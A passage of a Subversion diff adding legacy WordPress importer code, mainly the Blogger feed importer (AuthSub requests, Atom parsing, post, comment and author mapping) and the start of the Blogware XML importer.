+							setTimeout('blogs['+this.blog+'].check()', $interval);
+					}
+					--this.checks;
+				},
+				update: function() {
+					jQuery('#pind'+this.blog).width(((this.status.p1>0&&this.status.p2>0)?(this.status.p1/this.status.p2*jQuery('#pind'+this.blog).parent().width()):1)+'px');
+					jQuery('#cind'+this.blog).width(((this.status.c1>0&&this.status.c2>0)?(this.status.c1/this.status.c2*jQuery('#cind'+this.blog).parent().width()):1)+'px');
+				},
+				stop: function() {
+					this.cont = false;
+				},
+				done: function() {
+					this.mode = 'authors';
+					jQuery(this.button).attr('value', strings.authors);
+				},
+				nothing: function() {
+					this.mode = 'nothing';
+					jQuery(this.button).remove();
+					alert(strings.nothing);
+				},
+				getauthors: function() {
+					if ( jQuery('div.wrap').length > 1 )
+						jQuery('div.wrap').gt(0).remove();
+					jQuery('div.wrap').empty().append('<h2>$authhead</h2><h3>' + this.title + '</h3>');
+					jQuery('div.wrap').append('<p id=\"auth\">$loadauth</p>');
+					jQuery('p#auth').load('index.php?import=blogger&noheader=true&authors=1',{blog:this.blog});
+				},
+				init: function() {
+					this.update();
+					var i = this.blog;
+					jQuery(this.button).bind('click', function(){return blogs[i].click();});
+					this.kicks = 0;
+					this.checks = 0;
+				},
+				click: function() {
+					if ( this.mode == 'init' || this.mode == 'stopped' || this.mode == 'posts' || this.mode == 'comments' ) {
+						this.mode = 'started';
+						this.start();
+						jQuery(this.button).attr('value', strings.stop);
+					} else if ( this.mode == 'started' ) {
+						return false; // let it run...
+						this.mode = 'stopped';
+						this.stop();
+						if ( this.checks > 0 || this.kicks > 0 ) {
+							this.mode = 'stopping';
+							jQuery(this.button).attr('value', strings.stopping);
+						} else {
+							jQuery(this.button).attr('value', strings.cont);
+						}
+					} else if ( this.mode == 'authors' ) {
+						document.location = 'index.php?import=blogger&authors=1&blog='+this.blog;
+						//this.mode = 'authors2';
+						//this.getauthors();
+					}
+					return false;
+				}
+			};
+			$init
+			jQuery.each(blogs, function(i, me){me.init();});
+		/* ]]> */
+		</script>\n";
+	}
+
+	// Handy function for stopping the script after a number of seconds.
+	function have_time() {
+		global $importer_started;
+		if ( time() - $importer_started > MAX_EXECUTION_TIME )
+			die('continue');
+		return true;
+	}
+
+	function get_total_results($type, $host) {
+		$headers = array(
+			"GET /feeds/$type/default?max-results=1&start-index=2 HTTP/1.0",
+			"Host: $host",
+			"Authorization: AuthSub token=\"$this->token\""
+		);
+		$request = join( "\r\n", $headers ) . "\r\n\r\n";
+		$sock = $this->_get_blogger_sock( $host );
+		if ( ! $sock ) return;
+		$response = $this->_txrx( $sock, $request );
+		$response = $this->parse_response( $response );
+		$parser = xml_parser_create();
+		xml_parse_into_struct($parser, $response['body'], $struct, $index);
+		xml_parser_free($parser);
+		$total_results = $struct[$index['OPENSEARCH:TOTALRESULTS'][0]]['value'];
+		return (int) $total_results;
+	}
+
+	function import_blog($blogID) {
+		global $importing_blog;
+		$importing_blog = $blogID;
+
+		if ( isset($_GET['authors']) )
+			return print($this->get_author_form());
+
+		header('Content-Type: text/plain');
+
+		if ( isset($_GET['status']) )
+			die($this->get_js_status());
+
+		if ( isset($_GET['saveauthors']) )
+			die($this->save_authors());
+
+		$blog = $this->blogs[$blogID];
+		$total_results = $this->get_total_results('posts', $blog['host']);
+		$this->blogs[$importing_blog]['total_posts'] = $total_results;
+
+		$start_index = $total_results - MAX_RESULTS + 1;
+
+		if ( isset( $this->blogs[$importing_blog]['posts_start_index'] ) )
+			$start_index = (int) $this->blogs[$importing_blog]['posts_start_index'];
+		elseif ( $total_results > MAX_RESULTS )
+			$start_index = $total_results - MAX_RESULTS + 1;
+		else
+			$start_index = 1;
+
+		// This will be positive until we have finished importing posts
+		if ( $start_index > 0 ) {
+			// Grab all the posts
+			$this->blogs[$importing_blog]['mode'] = 'posts';
+			$query = "start-index=$start_index&max-results=" . MAX_RESULTS;
+			do {
+				$index = $struct = $entries = array();
+				$headers = array(
+					"GET /feeds/posts/default?$query HTTP/1.0",
+					"Host: {$blog['host']}",
+					"Authorization: AuthSub token=\"$this->token\""
+				);
+				$request = join( "\r\n", $headers ) . "\r\n\r\n";
+				$sock = $this->_get_blogger_sock( $blog['host'] );
+				if ( ! $sock ) return; // TODO: Error handling
+				$response = $this->_txrx( $sock, $request );
+
+				$response = $this->parse_response( $response );
+
+				// Extract the entries and send for insertion
+				preg_match_all( '/<entry[^>]*>.*?<\/entry>/s', $response['body'], $matches );
+				if ( count( $matches[0] ) ) {
+					$entries = array_reverse($matches[0]);
+					foreach ( $entries as $entry ) {
+						$entry = "<feed>$entry</feed>";
+						$AtomParser = new AtomParser();
+						$AtomParser->parse( $entry );
+						$result = $this->import_post($AtomParser->entry);
+						if ( is_wp_error( $result ) )
+							return $result;
+						unset($AtomParser);
+					}
+				} else break;
+
+				// Get the 'previous' query string which we'll use on the next iteration
+				$query = '';
+				$links = preg_match_all('/<link([^>]*)>/', $response['body'], $matches);
+				if ( count( $matches[1] ) )
+					foreach ( $matches[1] as $match )
+						if ( preg_match('/rel=.previous./', $match) )
+							$query = @html_entity_decode( preg_replace('/^.*href=[\'"].*\?(.+)[\'"].*$/', '$1', $match), ENT_COMPAT, get_option('blog_charset') );
+
+				if ( $query ) {
+					parse_str($query, $q);
+					$this->blogs[$importing_blog]['posts_start_index'] = (int) $q['start-index'];
+				} else
+					$this->blogs[$importing_blog]['posts_start_index'] = 0;
+				$this->save_vars();
+			} while ( !empty( $query ) && $this->have_time() );
+		}
+
+		$total_results = $this->get_total_results( 'comments', $blog['host'] );
+		$this->blogs[$importing_blog]['total_comments'] = $total_results;
+
+		if ( isset( $this->blogs[$importing_blog]['comments_start_index'] ) )
+			$start_index = (int) $this->blogs[$importing_blog]['comments_start_index'];
+		elseif ( $total_results > MAX_RESULTS )
+			$start_index = $total_results - MAX_RESULTS + 1;
+		else
+			$start_index = 1;
+
+		if ( $start_index > 0 ) {
+			// Grab all the comments
+			$this->blogs[$importing_blog]['mode'] = 'comments';
+			$query = "start-index=$start_index&max-results=" . MAX_RESULTS;
+			do {
+				$index = $struct = $entries = array();
+				$headers = array(
+					"GET /feeds/comments/default?$query HTTP/1.0",
+					"Host: {$blog['host']}",
+					"Authorization: AuthSub token=\"$this->token\""
+				);
+				$request = join( "\r\n", $headers ) . "\r\n\r\n";
+				$sock = $this->_get_blogger_sock( $blog['host'] );
+				if ( ! $sock ) return; // TODO: Error handling
+				$response = $this->_txrx( $sock, $request );
+
+				$response = $this->parse_response( $response );
+
+				// Extract the comments and send for insertion
+				preg_match_all( '/<entry[^>]*>.*?<\/entry>/s', $response['body'], $matches );
+				if ( count( $matches[0] ) ) {
+					$entries = array_reverse( $matches[0] );
+					foreach ( $entries as $entry ) {
+						$entry = "<feed>$entry</feed>";
+						$AtomParser = new AtomParser();
+						$AtomParser->parse( $entry );
+						$this->import_comment($AtomParser->entry);
+						unset($AtomParser);
+					}
+				}
+
+				// Get the 'previous' query string which we'll use on the next iteration
+				$query = '';
+				$links = preg_match_all('/<link([^>]*)>/', $response['body'], $matches);
+				if ( count( $matches[1] ) )
+					foreach ( $matches[1] as $match )
+						if ( preg_match('/rel=.previous./', $match) )
+							$query = @html_entity_decode( preg_replace('/^.*href=[\'"].*\?(.+)[\'"].*$/', '$1', $match), ENT_COMPAT, get_option('blog_charset') );
+
+				parse_str($query, $q);
+
+				$this->blogs[$importing_blog]['comments_start_index'] = (int) $q['start-index'];
+				$this->save_vars();
+			} while ( !empty( $query ) && $this->have_time() );
+		}
+		$this->blogs[$importing_blog]['mode'] = 'authors';
+		$this->save_vars();
+		if ( !$this->blogs[$importing_blog]['posts_done'] && !$this->blogs[$importing_blog]['comments_done'] )
+			die('nothing');
+		do_action('import_done', 'blogger');
+		die('done');
+	}
+
+	function convert_date( $date ) {
+	    preg_match('#([0-9]{4})-([0-9]{2})-([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(?:\.[0-9]+)?(Z|[\+|\-][0-9]{2,4}){0,1}#', $date, $date_bits);
+	    $offset = iso8601_timezone_to_offset( $date_bits[7] );
+		$timestamp = gmmktime($date_bits[4], $date_bits[5], $date_bits[6], $date_bits[2], $date_bits[3], $date_bits[1]);
+		$timestamp -= $offset; // Convert from Blogger local time to GMT
+		$timestamp += get_option('gmt_offset') * 3600; // Convert from GMT to WP local time
+		return gmdate('Y-m-d H:i:s', $timestamp);
+	}
+
+	function no_apos( $string ) {
+		return str_replace( '&apos;', "'", $string);
+	}
+
+	function min_whitespace( $string ) {
+		return preg_replace( '|\s+|', ' ', $string );
+	}
+
+	function import_post( $entry ) {
+		global $importing_blog;
+
+		// The old permalink is all Blogger gives us to link comments to their posts.
+		if ( isset( $entry->draft ) )
+			$rel = 'self';
+		else
+			$rel = 'alternate';
+		foreach ( $entry->links as $link ) {
+			if ( $link['rel'] == $rel ) {
+				$parts = parse_url( $link['href'] );
+				$entry->old_permalink = $parts['path'];
+				break;
+			}
+		}
+
+		$post_date    = $this->convert_date( $entry->published );
+		$post_content = trim( addslashes( $this->no_apos( @html_entity_decode( $entry->content, ENT_COMPAT, get_option('blog_charset') ) ) ) );
+		$post_title   = trim( addslashes( $this->no_apos( $this->min_whitespace( $entry->title ) ) ) );
+		$post_status  = isset( $entry->draft ) ? 'draft' : 'publish';
+
+		// Clean up content
+		$post_content = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $post_content);
+		$post_content = str_replace('<br>', '<br />', $post_content);
+		$post_content = str_replace('<hr>', '<hr />', $post_content);
+
+		// Checks for duplicates
+		if ( isset( $this->blogs[$importing_blog]['posts'][$entry->old_permalink] ) ) {
+			++$this->blogs[$importing_blog]['posts_skipped'];
+		} elseif ( $post_id = post_exists( $post_title, $post_content, $post_date ) ) {
+			$this->blogs[$importing_blog]['posts'][$entry->old_permalink] = $post_id;
+			++$this->blogs[$importing_blog]['posts_skipped'];
+		} else {
+			$post = compact('post_date', 'post_content', 'post_title', 'post_status');
+
+			$post_id = wp_insert_post($post);
+			if ( is_wp_error( $post_id ) )
+				return $post_id;
+
+			wp_create_categories( array_map( 'addslashes', $entry->categories ), $post_id );
+
+			$author = $this->no_apos( strip_tags( $entry->author ) );
+
+			add_post_meta( $post_id, 'blogger_blog', $this->blogs[$importing_blog]['host'], true );
+			add_post_meta( $post_id, 'blogger_author', $author, true );
+			add_post_meta( $post_id, 'blogger_permalink', $entry->old_permalink, true );
+
+			$this->blogs[$importing_blog]['posts'][$entry->old_permalink] = $post_id;
+			++$this->blogs[$importing_blog]['posts_done'];
+		}
+		$this->save_vars();
+		return;
+	}
+
+	function import_comment( $entry ) {
+		global $importing_blog;
+
+		// Drop the #fragment and we have the comment's old post permalink.
+		foreach ( $entry->links as $link ) {
+			if ( $link['rel'] == 'alternate' ) {
+				$parts = parse_url( $link['href'] );
+				$entry->old_permalink = $parts['fragment'];
+				$entry->old_post_permalink = $parts['path'];
+				break;
+			}
+		}
+
+		$comment_post_ID = (int) $this->blogs[$importing_blog]['posts'][$entry->old_post_permalink];
+		preg_match('#<name>(.+?)</name>.*(?:\<uri>(.+?)</uri>)?#', $entry->author, $matches);
+		$comment_author  = addslashes( $this->no_apos( strip_tags( (string) $matches[1] ) ) );
+		$comment_author_url = addslashes( $this->no_apos( strip_tags( (string) $matches[2] ) ) );
+		$comment_date    = $this->convert_date( $entry->updated );
+		$comment_content = addslashes( $this->no_apos( @html_entity_decode( $entry->content, ENT_COMPAT, get_option('blog_charset') ) ) );
+
+		// Clean up content
+		$comment_content = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $comment_content);
+		$comment_content = str_replace('<br>', '<br />', $comment_content);
+		$comment_content = str_replace('<hr>', '<hr />', $comment_content);
+
+		// Checks for duplicates
+		if (
+			isset( $this->blogs[$importing_blog]['comments'][$entry->old_permalink] ) ||
+			comment_exists( $comment_author, $comment_date )
+		) {
+			++$this->blogs[$importing_blog]['comments_skipped'];
+		} else {
+			$comment = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_date', 'comment_content');
+
+			$comment_id = wp_insert_comment($comment);
+
+			$this->blogs[$importing_blog]['comments'][$entry->old_permalink] = $comment_id;
+
+			++$this->blogs[$importing_blog]['comments_done'];
+		}
+		$this->save_vars();
+	}
+
+	function get_js_status($blog = false) {
+		global $importing_blog;
+		if ( $blog === false )
+			$blog = $this->blogs[$importing_blog];
+		else
+			$blog = $this->blogs[$blog];
+		$p1 = isset( $blog['posts_done'] ) ? (int) $blog['posts_done'] : 0;
+		$p2 = isset( $blog['total_posts'] ) ? (int) $blog['total_posts'] : 0;
+		$c1 = isset( $blog['comments_done'] ) ? (int) $blog['comments_done'] : 0;
+		$c2 = isset( $blog['total_comments'] ) ? (int) $blog['total_comments'] : 0;
+		return "{p1:$p1,p2:$p2,c1:$c1,c2:$c2}";
+	}
+
+	function get_author_form($blog = false) {
+		global $importing_blog, $wpdb, $current_user;
+		if ( $blog === false )
+			$blog = & $this->blogs[$importing_blog];
+		else
+			$blog = & $this->blogs[$blog];
+
+		if ( !isset( $blog['authors'] ) ) {
+			$post_ids = array_values($blog['posts']);
+			$authors = (array) $wpdb->get_col("SELECT DISTINCT meta_value FROM $wpdb->postmeta WHERE meta_key = 'blogger_author' AND post_id IN (" . join( ',', $post_ids ) . ")");
+			$blog['authors'] = array_map(null, $authors, array_fill(0, count($authors), $current_user->ID));
+			$this->save_vars();
+		}
+
+		$directions = __('All posts were imported with the current user as author. Use this form to move each Blogger user&#8217;s posts to a different WordPress user. You may <a href="users.php">add users</a> and then return to this page and complete the user mapping. This form may be used as many times as you like until you activate the &#8220;Restart&#8221; function below.');
+		$heading = __('Author mapping');
+		$blogtitle = "{$blog['title']} ({$blog['host']})";
+		$mapthis = __('Blogger username');
+		$tothis = __('WordPress login');
+		$submit = esc_js( __('Save Changes') );
+
+		foreach ( $blog['authors'] as $i => $author )
+			$rows .= "<tr><td><label for='authors[$i]'>{$author[0]}</label></td><td><select name='authors[$i]' id='authors[$i]'>" . $this->get_user_options($author[1]) . "</select></td></tr>";
+
+		return "<div class='wrap'><h2>$heading</h2><h3>$blogtitle</h3><p>$directions</p><form action='index.php?import=blogger&amp;noheader=true&saveauthors=1' method='post'><input type='hidden' name='blog' value='" . esc_attr($importing_blog) . "' /><table cellpadding='5'><thead><td>$mapthis</td><td>$tothis</td></thead>$rows<tr><td></td><td class='submit'><input type='submit' class='button authorsubmit' value='$submit' /></td></tr></table></form></div>";
+	}
+
+	function get_user_options($current) {
+		global $importer_users;
+		if ( ! isset( $importer_users ) )
+			$importer_users = (array) get_users_of_blog();
+
+		foreach ( $importer_users as $user ) {
+			$sel = ( $user->user_id == $current ) ? " selected='selected'" : '';
+			$options .= "<option value='$user->user_id'$sel>$user->display_name</option>";
+		}
+
+		return $options;
+	}
+
+	function save_authors() {
+		global $importing_blog, $wpdb;
+		$authors = (array) $_POST['authors'];
+
+		$host = $this->blogs[$importing_blog]['host'];
+
+		// Get an array of posts => authors
+		$post_ids = (array) $wpdb->get_col( $wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = 'blogger_blog' AND meta_value = %s", $host) );
+		$post_ids = join( ',', $post_ids );
+		$results = (array) $wpdb->get_results("SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = 'blogger_author' AND post_id IN ($post_ids)");
+		foreach ( $results as $row )
+			$authors_posts[$row->post_id] = $row->meta_value;
+
+		foreach ( $authors as $author => $user_id ) {
+			$user_id = (int) $user_id;
+
+			// Skip authors that haven't been changed
+			if ( $user_id == $this->blogs[$importing_blog]['authors'][$author][1] )
+				continue;
+
+			// Get a list of the selected author's posts
+			$post_ids = (array) array_keys( $authors_posts, $this->blogs[$importing_blog]['authors'][$author][0] );
+			$post_ids = join( ',', $post_ids);
+
+			$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_author = %d WHERE id IN ($post_ids)", $user_id) );
+			$this->blogs[$importing_blog]['authors'][$author][1] = $user_id;
+		}
+		$this->save_vars();
+
+		wp_redirect('edit.php');
+	}
+
+	function _get_auth_sock() {
+		// Connect to https://www.google.com
+		if ( !$sock = @ fsockopen('ssl://www.google.com', 443, $errno, $errstr) ) {
+			$this->uh_oh(
+				__('Could not connect to https://www.google.com'),
+				__('There was a problem opening a secure connection to Google. This is what went wrong:'),
+				"$errstr ($errno)"
+			);
+			return false;
+		}
+		return $sock;
+	}
+
+	function _get_blogger_sock($host = 'www2.blogger.com') {
+		if ( !$sock = @ fsockopen($host, 80, $errno, $errstr) ) {
+			$this->uh_oh(
+				sprintf( __('Could not connect to %s'), $host ),
+				__('There was a problem opening a connection to Blogger. This is what went wrong:'),
+				"$errstr ($errno)"
+			);
+			return false;
+		}
+		return $sock;
+	}
+
+	function _txrx( $sock, $request ) {
+		fwrite( $sock, $request );
+		while ( ! feof( $sock ) )
+			$response .= @ fread ( $sock, 8192 );
+		fclose( $sock );
+		return $response;
+	}
+
+	function revoke($token) {
+		$headers = array(
+			"GET /accounts/AuthSubRevokeToken HTTP/1.0",
+			"Authorization: AuthSub token=\"$token\""
+		);
+		$request = join( "\r\n", $headers ) . "\r\n\r\n";
+		$sock = $this->_get_auth_sock( );
+		if ( ! $sock ) return false;
+		$this->_txrx( $sock, $request );
+	}
+
+	function restart() {
+		global $wpdb;
+		$options = get_option( 'blogger_importer' );
+
+		if ( isset( $options['token'] ) )
+			$this->revoke( $options['token'] );
+
+		delete_option('blogger_importer');
+		$wpdb->query("DELETE FROM $wpdb->postmeta WHERE meta_key = 'blogger_author'");
+		wp_redirect('?import=blogger');
+	}
+
+	// Returns associative array of code, header, cookies, body. Based on code from php.net.
+	function parse_response($this_response) {
+		// Split response into header and body sections
+		list($response_headers, $response_body) = explode("\r\n\r\n", $this_response, 2);
+		$response_header_lines = explode("\r\n", $response_headers);
+
+		// First line of headers is the HTTP response code
+		$http_response_line = array_shift($response_header_lines);
+		if(preg_match('@^HTTP/[0-9]\.[0-9] ([0-9]{3})@',$http_response_line, $matches)) { $response_code = $matches[1]; }
+
+		// put the rest of the headers in an array
+		$response_header_array = array();
+		foreach($response_header_lines as $header_line) {
+			list($header,$value) = explode(': ', $header_line, 2);
+			$response_header_array[$header] .= $value."\n";
+		}
+
+		$cookie_array = array();
+		$cookies = explode("\n", $response_header_array["Set-Cookie"]);
+		foreach($cookies as $this_cookie) { array_push($cookie_array, "Cookie: ".$this_cookie); }
+
+		return array("code" => $response_code, "header" => $response_header_array, "cookies" => $cookie_array, "body" => $response_body);
+	}
+
+	// Step 9: Congratulate the user
+	function congrats() {
+		$blog = (int) $_GET['blog'];
+		echo '<h1>'.__('Congratulations!').'</h1><p>'.__('Now that you have imported your Blogger blog into WordPress, what are you going to do? Here are some suggestions:').'</p><ul><li>'.__('That was hard work! Take a break.').'</li>';
+		if ( count($this->import['blogs']) > 1 )
+			echo '<li>'.__('In case you haven&#8217;t done it already, you can import the posts from your other blogs:'). $this->show_blogs() . '</li>';
+		if ( $n = count($this->import['blogs'][$blog]['newusers']) )
+			echo '<li>'.sprintf(__('Go to <a href="%s" target="%s">Authors &amp; Users</a>, where you can modify the new user(s) or delete them. If you want to make all of the imported posts yours, you will be given that option when you delete the new authors.'), 'users.php', '_parent').'</li>';
+		echo '<li>'.__('For security, click the link below to reset this importer.').'</li>';
+		echo '</ul>';
+	}
+
+	// Figures out what to do, then does it.
+	function start() {
+		if ( isset($_POST['restart']) )
+			$this->restart();
+
+		$options = get_option('blogger_importer');
+
+		if ( is_array($options) )
+			foreach ( $options as $key => $value )
+				$this->$key = $value;
+
+		if ( isset( $_REQUEST['blog'] ) ) {
+			$blog = is_array($_REQUEST['blog']) ? array_shift( $keys = array_keys( $_REQUEST['blog'] ) ) : $_REQUEST['blog'];
+			$blog = (int) $blog;
+			$result = $this->import_blog( $blog );
+			if ( is_wp_error( $result ) )
+				echo $result->get_error_message();
+		} elseif ( isset($_GET['token']) )
+			$this->auth();
+		elseif ( isset($this->token) && $this->token_is_valid() )
+			$this->show_blogs();
+		else
+			$this->greet();
+
+		$saved = $this->save_vars();
+
+		if ( $saved && !isset($_GET['noheader']) ) {
+			$restart = __('Restart');
+			$message = __('We have saved some information about your Blogger account in your WordPress database. Clearing this information will allow you to start over. Restarting will not affect any posts you have already imported. If you attempt to re-import a blog, duplicate posts and comments will be skipped.');
+			$submit = esc_attr__('Clear account information');
+			echo "<div class='wrap'><h2>$restart</h2><p>$message</p><form method='post' action='?import=blogger&amp;noheader=true'><p class='submit' style='text-align:left;'><input type='submit' class='button' value='$submit' name='restart' /></p></form></div>";
+		}
+	}
+
+	function save_vars() {
+		$vars = get_object_vars($this);
+		update_option( 'blogger_importer', $vars );
+
+		return !empty($vars);
+	}
+
+	function admin_head() {
+?>
+<style type="text/css">
+td { text-align: center; line-height: 2em;}
+thead td { font-weight: bold; }
+.bar {
+	width: 200px;
+	text-align: left;
+	line-height: 2em;
+	padding: 0px;
+}
+.ind {
+	position: absolute;
+	background-color: #83B4D8;
+	width: 1px;
+	z-index: 9;
+}
+.stat {
+	z-index: 10;
+	position: relative;
+	text-align: center;
+}
+</style>
+<?php
+	}
+
+	function Blogger_Import() {
+		global $importer_started;
+		$importer_started = time();
+		if ( isset( $_GET['import'] ) && $_GET['import'] == 'blogger' ) {
+			wp_enqueue_script('jquery');
+			add_action('admin_head', array(&$this, 'admin_head'));
+		}
+	}
+}
+
+$blogger_import = new Blogger_Import();
+
+register_importer('blogger', __('Blogger'), __('Import posts, comments, and users from a Blogger blog.'), array ($blogger_import, 'start'));
+
+class AtomEntry {
+	var $links = array();
+	var $categories = array();
+}
+
+class AtomParser {
+
+	var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights');
+	var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft','author');
+
+	var $depth = 0;
+	var $indent = 2;
+	var $in_content;
+	var $ns_contexts = array();
+	var $ns_decls = array();
+	var $is_xhtml = false;
+	var $skipped_div = false;
+
+	var $entry;
+
+	function AtomParser() {
+
+		$this->entry = new AtomEntry();
+		$this->map_attrs_func = create_function('$k,$v', 'return "$k=\"$v\"";');
+		$this->map_xmlns_func = create_function('$p,$n', '$xd = "xmlns"; if(strlen($n[0])>0) $xd .= ":{$n[0]}"; return "{$xd}=\"{$n[1]}\"";');
+	}
+
+	function parse($xml) {
+
+		global $app_logging;
+		array_unshift($this->ns_contexts, array());
+
+		$parser = xml_parser_create_ns();
+		xml_set_object($parser, $this);
+		xml_set_element_handler($parser, "start_element", "end_element");
+		xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
+		xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0);
+		xml_set_character_data_handler($parser, "cdata");
+		xml_set_default_handler($parser, "_default");
+		xml_set_start_namespace_decl_handler($parser, "start_ns");
+		xml_set_end_namespace_decl_handler($parser, "end_ns");
+
+		$contents = "";
+
+		xml_parse($parser, $xml);
+
+		xml_parser_free($parser);
+
+		return true;
+	}
+
+	function start_element($parser, $name, $attrs) {
+
+		$tag = array_pop(split(":", $name));
+
+		array_unshift($this->ns_contexts, $this->ns_decls);
+
+		$this->depth++;
+
+		if(!empty($this->in_content)) {
+			$attrs_prefix = array();
+
+			// resolve prefixes for attributes
+			foreach($attrs as $key => $value) {
+				$attrs_prefix[$this->ns_to_prefix($key)] = $this->xml_escape($value);
+			}
+			$attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix)));
+			if(strlen($attrs_str) > 0) {
+				$attrs_str = " " . $attrs_str;
+			}
+
+			$xmlns_str = join(' ', array_map($this->map_xmlns_func, array_keys($this->ns_contexts[0]), array_values($this->ns_contexts[0])));
+			if(strlen($xmlns_str) > 0) {
+				$xmlns_str = " " . $xmlns_str;
+			}
+
+			// handle self-closing tags (case: a new child found right-away, no text node)
+			if(count($this->in_content) == 2) {
+				array_push($this->in_content, ">");
+			}
+
+			array_push($this->in_content, "<". $this->ns_to_prefix($name) ."{$xmlns_str}{$attrs_str}");
+		} else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) {
+			$this->in_content = array();
+			$this->is_xhtml = $attrs['type'] == 'xhtml';
+			array_push($this->in_content, array($tag,$this->depth));
+		} else if($tag == 'link') {
+			array_push($this->entry->links, $attrs);
+		} else if($tag == 'category') {
+			array_push($this->entry->categories, $attrs['term']);
+		}
+
+		$this->ns_decls = array();
+	}
+
+	function end_element($parser, $name) {
+
+		$tag = array_pop(split(":", $name));
+
+		if(!empty($this->in_content)) {
+			if($this->in_content[0][0] == $tag &&
+			$this->in_content[0][1] == $this->depth) {
+				array_shift($this->in_content);
+				if($this->is_xhtml) {
+					$this->in_content = array_slice($this->in_content, 2, count($this->in_content)-3);
+				}
+				$this->entry->$tag = join('',$this->in_content);
+				$this->in_content = array();
+			} else {
+				$endtag = $this->ns_to_prefix($name);
+				if (strpos($this->in_content[count($this->in_content)-1], '<' . $endtag) !== false) {
+					array_push($this->in_content, "/>");
+				} else {
+					array_push($this->in_content, "</$endtag>");
+				}
+			}
+		}
+
+		array_shift($this->ns_contexts);
+
+		#print str_repeat(" ", $this->depth * $this->indent) . "end_element('$name')" ."\n";
+
+		$this->depth--;
+	}
+
+	function start_ns($parser, $prefix, $uri) {
+		#print str_repeat(" ", $this->depth * $this->indent) . "starting: " . $prefix . ":" . $uri . "\n";
+		array_push($this->ns_decls, array($prefix,$uri));
+	}
+
+	function end_ns($parser, $prefix) {
+		#print str_repeat(" ", $this->depth * $this->indent) . "ending: #" . $prefix . "#\n";
+	}
+
+	function cdata($parser, $data) {
+		#print str_repeat(" ", $this->depth * $this->indent) . "data: #" . $data . "#\n";
+		if(!empty($this->in_content)) {
+			// handle self-closing tags (case: text node found, need to close element started)
+			if (strpos($this->in_content[count($this->in_content)-1], '<') !== false) {
+				array_push($this->in_content, ">");
+			}
+			array_push($this->in_content, $this->xml_escape($data));
+		}
+	}
+
+	function _default($parser, $data) {
+		# when does this gets called?
+	}
+
+
+	function ns_to_prefix($qname) {
+		$components = split(":", $qname);
+		$name = array_pop($components);
+
+		if(!empty($components)) {
+			$ns = join(":",$components);
+			foreach($this->ns_contexts as $context) {
+				foreach($context as $mapping) {
+					if($mapping[1] == $ns && strlen($mapping[0]) > 0) {
+						return "$mapping[0]:$name";
+					}
+				}
+			}
+		}
+		return $name;
+	}
+
+	function xml_escape($string)
+	{
+			 return str_replace(array('&','"',"'",'<','>'),
+				array('&amp;','&quot;','&apos;','&lt;','&gt;'),
+				$string );
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/import/blogware.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/import/blogware.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/import/blogware.php	(revision 44)
@@ -0,0 +1,215 @@
+<?php
+/**
+ * Blogware XML Importer
+ *
+ * @package WordPress
+ * @subpackage Importer
+ * @author Shayne Sweeney
+ * @link http://www.theshayne.com/
+ */
+
+/**
+ * Blogware XML Importer class
+ *
+ * Extract posts from Blogware XML export file into your blog.
+ *
+ * @since unknown
+ */
+class BW_Import {
+
+	var $file;
+
+	function header() {
+		echo '<div class="wrap">';
+		screen_icon();
+		echo '<h2>'.__('Import Blogware').'</h2>';
+	}
+
+	function footer() {
+		echo '</div>';
+	}
+
+	function unhtmlentities($string) { // From php.net for < 4.3 compat
+		$trans_tbl = get_html_translation_table(HTML_ENTITIES);
+		$trans_tbl = array_flip($trans_tbl);
+		return strtr($string, $trans_tbl);
+	}
+
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! This importer allows you to extract posts from Blogware XML export file into your blog.  Pick a Blogware file to upload and click Import.').'</p>';
+		wp_import_upload_form("admin.php?import=blogware&amp;step=1");
+		echo '</div>';
+	}
+
+	function import_posts() {
+		global $wpdb, $current_user;
+
+		set_magic_quotes_runtime(0);
+		$importdata = file($this->file); // Read the file into an array
+		$importdata = implode('', $importdata); // squish it
+		$importdata = str_replace(array ("\r\n", "\r"), "\n", $importdata);
+
+		preg_match_all('|(<item[^>]+>(.*?)</item>)|is', $importdata, $posts);
+		$posts = $posts[1];
+		unset($importdata);
+		echo '<ol>';
+		foreach ($posts as $post) {
+			flush();
+			preg_match('|<item type=\"(.*?)\">|is', $post, $post_type);
+			$post_type = $post_type[1];
+			if($post_type == "photo") {
+				preg_match('|<photoFilename>(.*?)</photoFilename>|is', $post, $post_title);
+			} else {
+				preg_match('|<title>(.*?)</title>|is', $post, $post_title);
+			}
+			$post_title = $wpdb->escape(trim($post_title[1]));
+
+			preg_match('|<pubDate>(.*?)</pubDate>|is', $post, $post_date);
+			$post_date = strtotime($post_date[1]);
+			$post_date = gmdate('Y-m-d H:i:s', $post_date);
+
+			preg_match_all('|<category>(.*?)</category>|is', $post, $categories);
+			$categories = $categories[1];
+
+			$cat_index = 0;
+			foreach ($categories as $category) {
+				$categories[$cat_index] = $wpdb->escape($this->unhtmlentities($category));
+				$cat_index++;
+			}
+
+			if(strcasecmp($post_type, "photo") === 0) {
+				preg_match('|<sizedPhotoUrl>(.*?)</sizedPhotoUrl>|is', $post, $post_content);
+				$post_content = '<img src="'.trim($post_content[1]).'" />';
+				$post_content = $this->unhtmlentities($post_content);
+			} else {
+				preg_match('|<body>(.*?)</body>|is', $post, $post_content);
+				$post_content = str_replace(array ('<![CDATA[', ']]>'), '', trim($post_content[1]));
+				$post_content = $this->unhtmlentities($post_content);
+			}
+
+			// Clean up content
+			$post_content = preg_replace_callback('|<(/?[A-Z]+)|', create_function('$match', 'return "<" . strtolower($match[1]);'), $post_content);
